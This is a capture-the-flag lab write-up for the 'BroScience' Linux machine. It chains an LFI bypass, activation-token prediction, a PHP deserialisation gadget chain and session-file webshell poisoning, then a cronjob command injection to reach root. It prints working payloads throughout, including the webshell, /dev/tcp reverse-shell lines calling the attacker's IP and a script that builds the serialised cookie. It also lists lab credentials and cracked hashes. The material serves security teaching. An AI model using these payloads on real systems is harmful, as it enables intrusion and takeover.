Introduction
BroScience is a Linux machine built around a gym-themed web application that chains together several web vulnerabilities and a creative privilege escalation via a cronjob. The path has a satisfying rhythm - each step uses what you learned from the previous one. The path to root:
- Enumeration → Nmap reveals SSH, HTTP, and HTTPS; domain
broscience.htbfound in the TLS certificate - LFI via double URL-encoding →
img.php?path=parameter is filtered, but double-encoding bypasses it - Source code review → LFI used to read
utils.php, revealing a time-seeded activation code generator - Account activation bypass → register an account, predict the activation token by brute-forcing timestamps ±5 seconds with
ffuf - PHP deserialisation → the
user-prefscookie is a serialised PHP object; a custom gadget chain (AvatarInterface→Avatar) copies arbitrary files on the server - RCE via session file poisoning → set your username to a PHP webshell, copy your session file to the webroot as
cmd.php - Reverse shell as
www-data→ trigger the webshell with a URL-encoded bash reverse shell - Lateral movement →
db_connect.phpin the webroot contains PostgreSQL credentials; theuserstable has salted MD5 hashes; Hashcat cracksbill’s hash → SSH in - Privilege escalation →
pspyreveals a root-owned cronjob running/opt/renew_cert.sh; the script passes an OpenSSL certificate’s Common Name unsanitised into a shell command → inject a reverse shell payload there
Key Concepts
What is double URL-encoding? Normal URL-encoding turns / into %2F. Some web application firewalls decode the URL once and check for ../ patterns. Double URL-encoding means encoding the % sign itself - so %2F becomes %252F (because % → %25). If the WAF only decodes once, it sees %252F and passes it. The web server then decodes it a second time, turning it back into /. The result: the filter is bypassed, but the application still processes the traversal path.
What is srand(time())? srand() seeds PHP’s random number generator, and time() returns the current Unix timestamp (seconds since 1970). Seeding with the current time means if you know roughly when a code was generated, you can reproduce the exact same sequence of “random” numbers by replaying the same seed. Since timestamps have one-second granularity and there’s network/processing delay, trying ±5 seconds around the server’s response time is usually enough to find the right code.
What is PHP deserialisation? PHP can convert objects to a string format (serialise) and back (deserialise). When a cookie or other user input is deserialised, PHP automatically calls certain magic methods like __wakeup(). If the application doesn’t validate what gets deserialised, an attacker can craft a malicious serialised object that triggers arbitrary code paths when the server processes it. This is called an insecure deserialisation vulnerability.
What is a gadget chain? In PHP deserialisation attacks, you don’t inject arbitrary code directly - you chain together existing classes in the application’s codebase to produce a useful effect. Here, AvatarInterface::__wakeup() calls Avatar::save(), which reads from one file path and writes to another. Both paths are attacker-controlled - so we use the chain to copy files on the server.
What is session file poisoning? PHP stores session data in files, typically under /var/lib/php/sessions/. The filename includes the session ID from the PHPSESSID cookie. Session data includes variables like the logged-in username. If you set your username to PHP code and then copy your session file into the webroot as a .php file, the PHP engine will execute that code when the file is requested.
What is a salted hash? A salt is a random (or fixed) string appended to a password before hashing it, to prevent rainbow table attacks. Here the salt is NaCl (sodium chloride - a gym/science joke). Hashcat mode 20 handles md5($salt.$password) format by specifying hashes as hash:salt in the input file.
What is pspy? A Linux tool that monitors running processes without needing root privileges. It reads from /proc to see every command that gets executed on the system, including cron jobs run by other users. It’s an essential part of any Linux privilege escalation methodology.
What is command injection through an unquoted shell variable? When a bash script uses a variable like $commonName in a command without quoting it, the shell interprets special characters like $() as command substitution. This means if $commonName contains $(bash -i >& /dev/tcp/... 0>&1), the shell will execute that as a command. The vulnerability here is that the certificate’s Common Name is read from the .crt file and passed directly into a mv command without sanitisation.
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV <TARGET>
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH - OpenSSH 8.4p1 | Standard remote access |
| 80 | HTTP - Apache 2.4.54 | Redirects to HTTPS |
| 443 | HTTPS - Apache 2.4.54 | Domain: broscience.htb in TLS cert |
The TLS certificate’s commonName field reveals the domain name. Add it to /etc/hosts:
echo "<TARGET> broscience.htb" | sudo tee -a /etc/hosts
Web Enumeration: Port 443
Visiting https://broscience.htb shows a gym-themed website with workout articles. There’s a login form but no working credentials, and a registration form that says it will send a confirmation email - which we can’t access.
Looking at the page source, images are loaded via:
/includes/img.php?path=bench.png
The path parameter looks like a file path. This is a classic LFI candidate - let’s test it.
Local File Inclusion: Bypassing the Filter
First attempt (blocked)
curl -k 'https://broscience.htb/includes/img.php?path=../../../../../../etc/passwd'
# <b>Error:</b> Attack detected.
A filter is blocking directory traversal. Let’s try double URL-encoding.
Bypass with double URL-encoding
In normal URL-encoding, / becomes %2F. Double-encoding means the % sign itself is encoded as %25, giving %252F. If the WAF decodes once to check for ../ and sees ..%252F, it passes. The web server then decodes again and processes the actual path traversal.
curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd' | grep '/bin/bash'
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
LFI confirmed. We can read arbitrary files. Note the usernames: root, bill, and postgres will be useful later.
Read the includes directory
The application’s directory listing at /includes/ (accessible from the browser) shows several PHP files: db_connect.php, header.php, img.php, navbar.php, and utils.php. Let’s read utils.php since it likely contains important application logic.
curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252Fincludes%252Futils.php'
This reveals two things: the activation code generation logic, and two PHP classes - Avatar and AvatarInterface - that will be critical for the foothold step.
Activation Code Bypass: Predicting the Token
The vulnerable code
In utils.php, the generate_activation_code() function looks like this:
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
The seed is time() - the current Unix timestamp in seconds. If we know when the server generated the code, we can reproduce it.
Register an account and catch the server time
Open Burp Suite, register a new account (use any fake email), and intercept the response. The Date header tells us the server time:
Date: Mon, 09 Jan 2023 12:48:18 GMT
Convert this to a Unix timestamp. You can use an online converter or:
date -d "Mon, 09 Jan 2023 12:48:18 GMT" +%s
# 1673269698
Generate candidate codes
Create the following script as generate_activation_code.php. It replays the same generation logic for 11 timestamps centred on the server response time (±5 seconds to account for processing delay):
<?php
function generate_activation_code($t) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($t);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
$t_start = (int)$argv[1];
for ($t = $t_start - 5; $t <= $t_start + 5; $t++) {
echo generate_activation_code($t) . "\n";
}
?>
Run it with your timestamp:
php generate_activation_code.php 1673269698 | tee activation_codes.txt
Fuzz the activation endpoint
Use ffuf to try each generated code against the activation endpoint. The --fs 1256 flag filters out the “invalid code” responses (which are all the same size), leaving only the hit:
ffuf -w activation_codes.txt -u 'https://broscience.htb/activate.php?code=FUZZ' --fs 1256 -k
One code returns a 200 with a different response size - your account is now activated. Log in with your registered credentials.
Foothold: PHP Deserialisation → RCE via Session Poisoning
Discover the vulnerable cookie
Once logged in, click the light/dark theme toggle. Open Dev Tools → Application → Cookies and look at the user-prefs cookie. It’s a Base64-encoded string. Decode it:
echo "dXNlcl9wcmVmcz..." | base64 -d
# O:13:"AvatarInterface":2:{s:3:"tmp";s:...;s:7:"imgPath";s:...;}
This is a serialised PHP object. The server calls unserialize() on this cookie value every page load - and we can control exactly what gets deserialised.
Understand the gadget chain
Back in utils.php, the two classes work like this:
class Avatar {
public $imgPath;
// save() reads from $tmp and writes to $imgPath
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
// __wakeup() is called automatically on deserialise
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
When the server deserialises our cookie, __wakeup() is called on AvatarInterface. It creates an Avatar and calls save(), which reads from $tmp and writes to $imgPath. We control both paths.
Step 1: Poison your username
In the “Edit User” form, change your username to:
<?=exec($_GET[melo])?>
This is a PHP webshell. It will be stored as your username in the session file.
Why this specific payload?
<?=is PHP’s short echo tag.exec()runs a system command and outputs the result.$_GET[melo]reads themeloURL parameter. When this string is included in a PHP file and executed, visitingcmd.php?melo=idwill runidon the server.
Step 2: Note your session ID
Check your PHPSESSID cookie value. For example: 3g99o1tq6tmfaate6didfqev0o
Your session file on the server is at:
/var/lib/php/sessions/sess_3g99o1tq6tmfaate6didfqev0o
Step 3: Build the serialisation payload
Save this as serialise_payload.php, replacing the session ID and paths with your own:
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$a = new AvatarInterface();
$a->tmp = "/var/lib/php/sessions/sess_3g99o1tq6tmfaate6didfqev0o"; // your session ID
$a->imgPath = "/var/www/html/cmd.php"; // destination in webroot
echo base64_encode(serialize($a)) . "\n";
?>
Run it to generate your payload:
php serialise_payload.php
# TzoxNToiQXZhdGFySW50...
Step 4: Inject and trigger
In Burp Suite, intercept a GET request to the homepage while logged in. Replace the user-prefs cookie value with your generated payload string. Forward the request.
The server deserialises the cookie, __wakeup() fires, and save() copies your session file (which contains your PHP webshell username) to /var/www/html/cmd.php.
Verify it worked:
curl -k https://broscience.htb/cmd.php?melo=id
# id|s:1:"6";username|s:22:"uid=33(www-data)...
The webshell is live.
Step 5: Get a reverse shell
Start a listener:
nc -lvnp 4444
Trigger a bash reverse shell through the webshell (URL-encoded):
curl -k "https://broscience.htb/cmd.php?melo=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%27"
You’ll receive a shell as www-data. Upgrade it to a proper TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Lateral Movement: Database Credentials → bill
Find database credentials in the webroot
When you first land as www-data, always check the webroot for config files - they routinely contain database credentials. Read db_connect.php (which we spotted during LFI enumeration):
cat /var/www/html/includes/db_connect.php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
Note the salt - you’ll need it for cracking.
Connect to PostgreSQL and dump hashes
psql -h localhost -p 5432 --username=dbuser -W broscience
# Password: RangeOfMotion%777
broscience=> select username,password from users;
username | password
---------------+----------------------------------
administrator | 15657792073e8a843d4f91fc403454e1
bill | 13edad4932da9dbb57d9cd15b66ed104
michael | bd3dad50e2d578ecba87d5fa15ca5f85
john | a7eed23a7be6fe0d765197b1027453fe
dmytro | 5d15340bded5b9395d5d14b9c21bc82b
Crack the hashes with Hashcat
The hashes are md5($salt.$password) - Hashcat mode 20. Format the hash file as hash:salt:
cat hashes.txt
# 15657792073e8a843d4f91fc403454e1:NaCl
# 13edad4932da9dbb57d9cd15b66ed104:NaCl
# bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
# a7eed23a7be6fe0d765197b1027453fe:NaCl
# 5d15340bded5b9395d5d14b9c21bc82b:NaCl
hashcat -m 20 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Hashcat cracks three of the five. The only user with a home directory (from /etc/passwd) is bill, whose hash cracks to: iluvhorsesandgym
SSH in as bill
ssh bill@<TARGET>
# Password: iluvhorsesandgym
bill@broscience:~$ id
uid=1000(bill) gid=1000(bill) groups=1000(bill)
✅ User flag captured. /home/bill/user.txt
Privilege Escalation: Cronjob + OpenSSL Common Name Injection
Discover the cronjob with pspy
Download pspy64 from GitHub onto your attacker machine, then transfer it to the target:
# Attacker
python3 -m http.server 8000
# Target (as bill)
cd /tmp
wget http://<YOUR_IP>:8000/pspy64
chmod +x pspy64
./pspy64
Wait a few minutes. You’ll see this running as root (UID=0):
CMD: UID=0 PID=... | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
A root-owned script is automatically processing certificate files from bill’s Certs directory.
Analyse the vulnerable script
cat /opt/renew_cert.sh
The critical part at the end:
# Extract the Common Name from the certificate
commonName=$(openssl x509 -noout -subject -in $1 | sed 's/.*CN=//')
# Check if cert expires within 24 hours (86400 seconds)
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet."
exit 1
fi
# Vulnerable line - $commonName is unquoted and unsanitised
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
Two conditions must be met to reach the vulnerable line: the certificate file must exist, and it must be expiring within 24 hours. Both are easy to satisfy - we generate a fresh cert with -days 1.
Why is
$commonNamedangerous here? The variable is substituted directly into a double-quoted bash string inside/bin/bash -c "...". If$commonNamecontains$(command), bash performs command substitution and executes it as root. There’s no sanitisation or quoting of the variable before it hits the shell.
Step 1: Start a listener
nc -lvnp 4444
Step 2: Generate a malicious certificate
On the target as bill, run the following. When prompted for each field, press Enter to accept the default - except for “Common Name”, where you paste the reverse shell payload:
openssl req -x509 -sha256 -nodes -days 1 -newkey rsa:4096 -keyout /dev/null -out broscience.crt
At the Common Name prompt, enter:
$(bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1)
Why
-days 1? The script first checks whether the certificate expires within 86400 seconds (24 hours). A cert valid for only 1 day will pass this check, allowing the script to reach the vulnerablemvcommand.
Step 3: Place the certificate where the cronjob expects it
mv broscience.crt /home/bill/Certs/broscience.crt
Step 4: Wait for the cronjob
Within a minute or two, the cronjob runs, reads the certificate, extracts the Common Name (your payload), and executes it as root:
nc -lvnp 4444
listening on [any] 4444 ...
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET>] 55922
root@broscience:~# id
uid=0(root) gid=0(root) groups=0(root)
✅ Root flag captured. /root/root.txt
Summary
nmap → port 443 (HTTPS, domain broscience.htb in TLS cert)
↓
/includes/img.php?path= → LFI filter → double URL-encode (%252F) → bypass
↓
LFI reads utils.php → generate_activation_code() uses srand(time())
↓
Register account → intercept response → grab server Date header → convert to Unix timestamp
↓
php generate_activation_code.php <timestamp> → 11 candidate codes
↓
ffuf → fuzz /activate.php?code=FUZZ → account activated
↓
Login → user-prefs cookie = base64(serialize(UserPrefs))
utils.php: AvatarInterface::__wakeup() → Avatar::save() copies $tmp → $imgPath
↓
Change username to: <?=exec($_GET[melo])?>
Serialise AvatarInterface(tmp=session_file, imgPath=/var/www/html/cmd.php)
Inject base64 payload into user-prefs cookie → server deserialises → session copied to cmd.php
↓
nc -lvnp 4444
curl /cmd.php?melo=<URL-encoded bash reverse shell>
→ www-data shell
→ USER FLAG (/home/bill/user.txt) ... not yet - need lateral movement
↓
cat /var/www/html/includes/db_connect.php → dbuser:RangeOfMotion%777, salt=NaCl
psql → select username,password from users → 5 md5 hashes
hashcat -m 20 hashes.txt:NaCl rockyou.txt → bill:iluvhorsesandgym
↓
ssh bill@<TARGET> → USER FLAG (/home/bill/user.txt)
↓
pspy64 → root cronjob: /opt/renew_cert.sh /home/bill/Certs/broscience.crt
cat /opt/renew_cert.sh → $commonName used unquoted in /bin/bash -c "mv ... /$commonName.crt"
↓
openssl req -x509 -days 1 ... → Common Name: $(bash -i >& /dev/tcp/<ip>/4444 0>&1)
mv broscience.crt /home/bill/Certs/broscience.crt
↓
nc -lvnp 4444 → root@broscience → ROOT FLAG (/root/root.txt)
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| nmap | Network port scanner and service fingerprinter | sudo apt install nmap |
| curl | Makes HTTP/HTTPS requests from the command line; used for LFI and triggering the webshell | Built into most Linux systems |
| Burp Suite | HTTP proxy for intercepting and modifying web requests and cookies | portswigger.net (Community Edition is free) |
| ffuf | Fast web fuzzer; used here to brute-force the activation code endpoint | sudo apt install ffuf |
| php (CLI) | Runs PHP scripts locally; used to generate activation codes and the serialisation payload | sudo apt install php |
| psql | PostgreSQL command-line client | sudo apt install postgresql-client |
| Hashcat | GPU-accelerated password cracker; mode 20 handles md5($salt.$password) | sudo apt install hashcat |
| Netcat (nc) | Sets up listeners to catch reverse shells | sudo apt install netcat-traditional |
| pspy | Monitors running Linux processes without root; catches cronjobs and scheduled tasks | github.com/DominicBreuker/pspy |
| openssl | Generates SSL/TLS certificates; used here to craft a malicious .crt file | Built into most Linux systems |